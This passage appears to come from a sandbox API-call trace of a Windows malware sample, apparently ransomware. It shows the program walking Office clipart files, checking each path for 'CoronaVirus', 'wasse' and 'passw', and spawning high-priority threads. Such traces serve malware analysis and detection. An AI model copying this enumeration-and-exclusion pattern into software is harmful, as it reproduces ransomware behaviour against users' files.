	[0104.973] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.bmp", _SubStr="wasse") returned 0x0
	[0104.973] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.bmp", _SubStr="passw") returned 0x0
	[0104.976] SetThreadPriority (hThread=0xfcc, nPriority=15) returned 1
	[0104.990] malloc (_Size=0x1000) returned 0x51f3088
	[0104.990] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.gif") returned 68
	[0104.990] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.gif", _SubStr="CoronaVirus") returned 0x0
	[0104.990] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.gif", _SubStr="wasse") returned 0x0
	[0104.990] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.gif", _SubStr="passw") returned 0x0
	[0104.990] SetThreadPriority (hThread=0xfd0, nPriority=15) returned 1
	[0105.000] malloc (_Size=0x1000) returned 0x51f60a0
	[0105.001] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.bmp") returned 68
	[0105.001] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.001] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.bmp", _SubStr="wasse") returned 0x0
	[0105.003] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.bmp", _SubStr="passw") returned 0x0
	[0105.003] SetThreadPriority (hThread=0xfd4, nPriority=15) returned 1
	[0105.005] malloc (_Size=0x1000) returned 0x51f0070
	[0105.012] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.gif") returned 68
	[0105.013] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.gif", _SubStr="CoronaVirus") returned 0x0
	[0105.015] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.gif", _SubStr="wasse") returned 0x0
	[0105.015] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.gif", _SubStr="passw") returned 0x0
	[0105.015] SetThreadPriority (hThread=0xfd8, nPriority=15) returned 1
	[0105.027] malloc (_Size=0x1000) returned 0x51f3088
	[0105.027] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.bmp") returned 68
	[0105.028] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.028] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.bmp", _SubStr="wasse") returned 0x0
	[0105.028] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.bmp", _SubStr="passw") returned 0x0
	[0105.028] SetThreadPriority (hThread=0xfdc, nPriority=15) returned 1
	[0105.036] malloc (_Size=0x1000) returned 0x51f0070
	[0105.036] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.gif") returned 68
	[0105.036] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.gif", _SubStr="CoronaVirus") returned 0x0
	[0105.036] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.gif", _SubStr="wasse") returned 0x0
	[0105.037] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.gif", _SubStr="passw") returned 0x0
	[0105.087] SetThreadPriority (hThread=0xfe0, nPriority=15) returned 1
	[0105.090] malloc (_Size=0x1000) returned 0x51f90b8
	[0105.090] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.gif") returned 68
	[0105.090] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.gif", _SubStr="CoronaVirus") returned 0x0
	[0105.090] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.gif", _SubStr="wasse") returned 0x0
	[0105.090] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.gif", _SubStr="passw") returned 0x0
	[0105.097] SetThreadPriority (hThread=0xfe8, nPriority=15) returned 1
	[0105.108] malloc (_Size=0x1000) returned 0x51f4090
	[0105.108] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.bmp") returned 68
	[0105.108] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.108] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.bmp", _SubStr="wasse") returned 0x0
	[0105.108] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.bmp", _SubStr="passw") returned 0x0
	[0105.109] SetThreadPriority (hThread=0xff0, nPriority=15) returned 1
	[0105.121] malloc (_Size=0x1000) returned 0x51f3088
	[0105.121] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.gif") returned 68
	[0105.121] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.gif", _SubStr="CoronaVirus") returned 0x0
	[0105.121] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.gif", _SubStr="wasse") returned 0x0
	[0105.122] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.gif", _SubStr="passw") returned 0x0
	[0105.125] SetThreadPriority (hThread=0xfe4, nPriority=15) returned 1
	[0105.126] malloc (_Size=0x1000) returned 0x51f5098
	[0105.126] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.bmp") returned 68
	[0105.126] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.126] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.bmp", _SubStr="wasse") returned 0x0
	[0105.127] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.bmp", _SubStr="passw") returned 0x0
	[0105.133] SetThreadPriority (hThread=0xfec, nPriority=15) returned 1
	[0105.147] malloc (_Size=0x1000) returned 0x51f3088
	[0105.147] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.gif") returned 68
	[0105.148] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.gif", _SubStr="CoronaVirus") returned 0x0
	[0105.149] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.gif", _SubStr="wasse") returned 0x0
	[0105.150] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749G.gif", _SubStr="passw") returned 0x0
	[0105.150] SetThreadPriority (hThread=0xff8, nPriority=15) returned 1
	[0105.152] malloc (_Size=0x1000) returned 0x51f4090
	[0105.152] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.bmp") returned 68
	[0105.152] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.152] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.bmp", _SubStr="wasse") returned 0x0
	[0105.152] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02749U.bmp", _SubStr="passw") returned 0x0
	[0105.161] SetThreadPriority (hThread=0xff4, nPriority=15) returned 1
	[0105.178] malloc (_Size=0x1000) returned 0x51f4090
	[0105.178] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.gif") returned 68
	[0105.178] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.gif", _SubStr="CoronaVirus") returned 0x0
	[0105.178] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.gif", _SubStr="wasse") returned 0x0
	[0105.178] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.gif", _SubStr="passw") returned 0x0
	[0105.179] SetThreadPriority (hThread=0x1004, nPriority=15) returned 1
	[0105.181] malloc (_Size=0x1000) returned 0x51f5098
	[0105.181] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.bmp") returned 68
	[0105.181] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.181] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.bmp", _SubStr="wasse") returned 0x0
	[0105.181] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.bmp", _SubStr="passw") returned 0x0
	[0105.189] SetThreadPriority (hThread=0xffc, nPriority=15) returned 1
	[0105.191] malloc (_Size=0x1000) returned 0x51f3088
	[0105.191] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.gif") returned 68
	[0105.191] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.gif", _SubStr="CoronaVirus") returned 0x0
	[0105.192] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.gif", _SubStr="wasse") returned 0x0
	[0105.198] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.gif", _SubStr="passw") returned 0x0
	[0105.213] SetThreadPriority (hThread=0x1010, nPriority=15) returned 1
	[0105.232] malloc (_Size=0x1000) returned 0x51f60a0
	[0105.232] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.bmp") returned 68
	[0105.232] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.232] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.bmp", _SubStr="wasse") returned 0x0
	[0105.232] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.bmp", _SubStr="passw") returned 0x0
	[0105.233] SetThreadPriority (hThread=0x1014, nPriority=15) returned 1
	[0105.235] malloc (_Size=0x1000) returned 0x51f0070
	[0105.235] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.bmp") returned 68
	[0105.235] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.235] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.bmp", _SubStr="wasse") returned 0x0
	[0105.242] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.bmp", _SubStr="passw") returned 0x0
	[0105.292] SetThreadPriority (hThread=0xfb4, nPriority=15) returned 1
	[0105.294] malloc (_Size=0x1000) returned 0x51f60a0
	[0105.294] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.bmp") returned 68
	[0105.294] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.294] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.bmp", _SubStr="wasse") returned 0x0
	[0105.294] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.bmp", _SubStr="passw") returned 0x0
	[0105.360] SetThreadPriority (hThread=0x1008, nPriority=15) returned 1
	[0105.362] malloc (_Size=0x1000) returned 0x51f0070
	[0105.363] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.bmp") returned 68
	[0105.363] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.375] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.bmp", _SubStr="wasse") returned 0x0
	[0105.375] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.bmp", _SubStr="passw") returned 0x0
	[0105.430] SetThreadPriority (hThread=0x1018, nPriority=15) returned 1
	[0105.432] malloc (_Size=0x1000) returned 0x51f4090
	[0105.432] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.bmp") returned 68
	[0105.432] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.432] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.bmp", _SubStr="wasse") returned 0x0
	[0105.432] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.bmp", _SubStr="passw") returned 0x0
	[0105.445] SetThreadPriority (hThread=0x1020, nPriority=15) returned 1
	[0105.473] malloc (_Size=0x1000) returned 0x51f3088
	[0105.473] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.bmp") returned 68
	[0105.473] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.473] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.bmp", _SubStr="wasse") returned 0x0
	[0105.473] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.bmp", _SubStr="passw") returned 0x0
	[0105.540] SetThreadPriority (hThread=0x101c, nPriority=15) returned 1
	[0105.632] malloc (_Size=0x1000) returned 0x51f4090
	[0105.647] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.bmp") returned 68
	[0105.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.bmp", _SubStr="wasse") returned 0x0
	[0105.647] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.bmp", _SubStr="passw") returned 0x0
	[0105.648] SetThreadPriority (hThread=0x100c, nPriority=15) returned 1
	[0105.651] malloc (_Size=0x1000) returned 0x51f0070
	[0105.651] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.jpg") returned 68
	[0105.651] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0105.651] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.jpg", _SubStr="wasse") returned 0x0
	[0105.651] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.jpg", _SubStr="passw") returned 0x0
	[0105.652] SetThreadPriority (hThread=0x1030, nPriority=15) returned 1
	[0105.712] malloc (_Size=0x1000) returned 0x51f60a0
	[0105.712] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.jpg") returned 68
	[0105.712] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0105.712] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.jpg", _SubStr="wasse") returned 0x0
	[0105.712] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.jpg", _SubStr="passw") returned 0x0
	[0105.713] SetThreadPriority (hThread=0x1028, nPriority=15) returned 1
	[0105.715] malloc (_Size=0x1000) returned 0x51f0070
	[0105.715] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.jpg") returned 68
	[0105.715] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0105.715] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.jpg", _SubStr="wasse") returned 0x0
	[0105.715] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.jpg", _SubStr="passw") returned 0x0
	[0105.768] SetThreadPriority (hThread=0x1038, nPriority=15) returned 1
	[0105.770] malloc (_Size=0x1000) returned 0x51f80b0
	[0105.771] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.gif") returned 68
	[0105.771] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.gif", _SubStr="CoronaVirus") returned 0x0
	[0105.771] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.gif", _SubStr="wasse") returned 0x0
	[0105.771] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.gif", _SubStr="passw") returned 0x0
	[0105.771] SetThreadPriority (hThread=0x1040, nPriority=15) returned 1
	[0105.773] malloc (_Size=0x1000) returned 0x51f4090
	[0105.773] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.jpg") returned 68
	[0105.773] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.jpg", _SubStr="CoronaVirus") returned 0x0
	[0105.773] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.jpg", _SubStr="wasse") returned 0x0
	[0105.773] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.jpg", _SubStr="passw") returned 0x0
	[0105.774] SetThreadPriority (hThread=0x104c, nPriority=15) returned 1
	[0105.776] malloc (_Size=0x1000) returned 0x51f60a0
	[0105.776] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.bmp") returned 68
	[0105.776] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.776] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.bmp", _SubStr="wasse") returned 0x0
	[0105.776] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.bmp", _SubStr="passw") returned 0x0
	[0105.776] SetThreadPriority (hThread=0x1058, nPriority=15) returned 1
	[0105.987] malloc (_Size=0x1000) returned 0x51f4090
	[0105.987] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.bmp") returned 68
	[0105.987] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.bmp", _SubStr="CoronaVirus") returned 0x0
	[0105.987] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.bmp", _SubStr="wasse") returned 0x0
	[0105.987] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.bmp", _SubStr="passw") returned 0x0
	[0105.988] SetThreadPriority (hThread=0x1054, nPriority=15) returned 1
	[0106.000] malloc (_Size=0x1000) returned 0x51f60a0
	[0106.000] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.gif") returned 68
	[0106.000] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.gif", _SubStr="CoronaVirus") returned 0x0
	[0106.000] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.gif", _SubStr="wasse") returned 0x0
	[0106.000] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.gif", _SubStr="passw") returned 0x0
	[0106.000] SetThreadPriority (hThread=0x1024, nPriority=15) returned 1
	[0106.007] malloc (_Size=0x1000) returned 0x51f0070
	[0106.008] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.jpg") returned 68
	[0106.008] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.jpg", _SubStr="CoronaVirus") returned 0x0
	[0106.010] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.jpg", _SubStr="wasse") returned 0x0
	[0106.010] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.jpg", _SubStr="passw") returned 0x0
	[0106.010] SetThreadPriority (hThread=0x1050, nPriority=15) returned 1
	[0106.024] malloc (_Size=0x1000) returned 0x51f5098
	[0106.024] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.jpg") returned 68
	[0106.024] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.jpg", _SubStr="CoronaVirus") returned 0x0
	[0106.024] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.jpg", _SubStr="wasse") returned 0x0
	[0106.024] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.jpg", _SubStr="passw") returned 0x0
	[0106.025] SetThreadPriority (hThread=0x1044, nPriority=15) returned 1
	[0106.037] malloc (_Size=0x1000) returned 0x51f3088
	[0106.037] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.jpg") returned 68
	[0106.037] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.jpg", _SubStr="CoronaVirus") returned 0x0
	[0106.037] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.jpg", _SubStr="wasse") returned 0x0
	[0106.037] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.jpg", _SubStr="passw") returned 0x0
	[0106.037] SetThreadPriority (hThread=0x1048, nPriority=15) returned 1
	[0106.045] malloc (_Size=0x1000) returned 0x51f0070
	[0106.045] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.jpg") returned 68
	[0106.045] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.jpg", _SubStr="CoronaVirus") returned 0x0
	[0106.045] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.jpg", _SubStr="wasse") returned 0x0
	[0106.045] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.jpg", _SubStr="passw") returned 0x0
	[0106.052] SetThreadPriority (hThread=0x105c, nPriority=15) returned 1
	[0106.063] malloc (_Size=0x1000) returned 0x51f80b0
	[0106.063] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.jpg") returned 68
	[0106.066] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.jpg", _SubStr="CoronaVirus") returned 0x0
	[0106.066] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.jpg", _SubStr="wasse") returned 0x0
	[0106.066] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.jpg", _SubStr="passw") returned 0x0
	[0106.069] SetThreadPriority (hThread=0x103c, nPriority=15) returned 1
	[0106.075] malloc (_Size=0x1000) returned 0x51f0070
	[0106.076] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.jpg") returned 68
	[0106.076] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.jpg", _SubStr="CoronaVirus") returned 0x0
	[0106.076] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.jpg", _SubStr="wasse") returned 0x0
	[0106.078] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.jpg", _SubStr="passw") returned 0x0
	[0106.078] SetThreadPriority (hThread=0x1060, nPriority=15) returned 1
	[0106.081] malloc (_Size=0x1000) returned 0x51f90b8
	[0106.081] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.jpg") returned 68
	[0106.081] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.jpg", _SubStr="CoronaVirus") returned 0x0
	[0106.082] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.jpg", _SubStr="wasse") returned 0x0
	[0106.082] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.jpg", _SubStr="passw") returned 0x0
	[0106.086] SetThreadPriority (hThread=0x1068, nPriority=15) returned 1
	[0106.110] malloc (_Size=0x1000) returned 0x51f3088
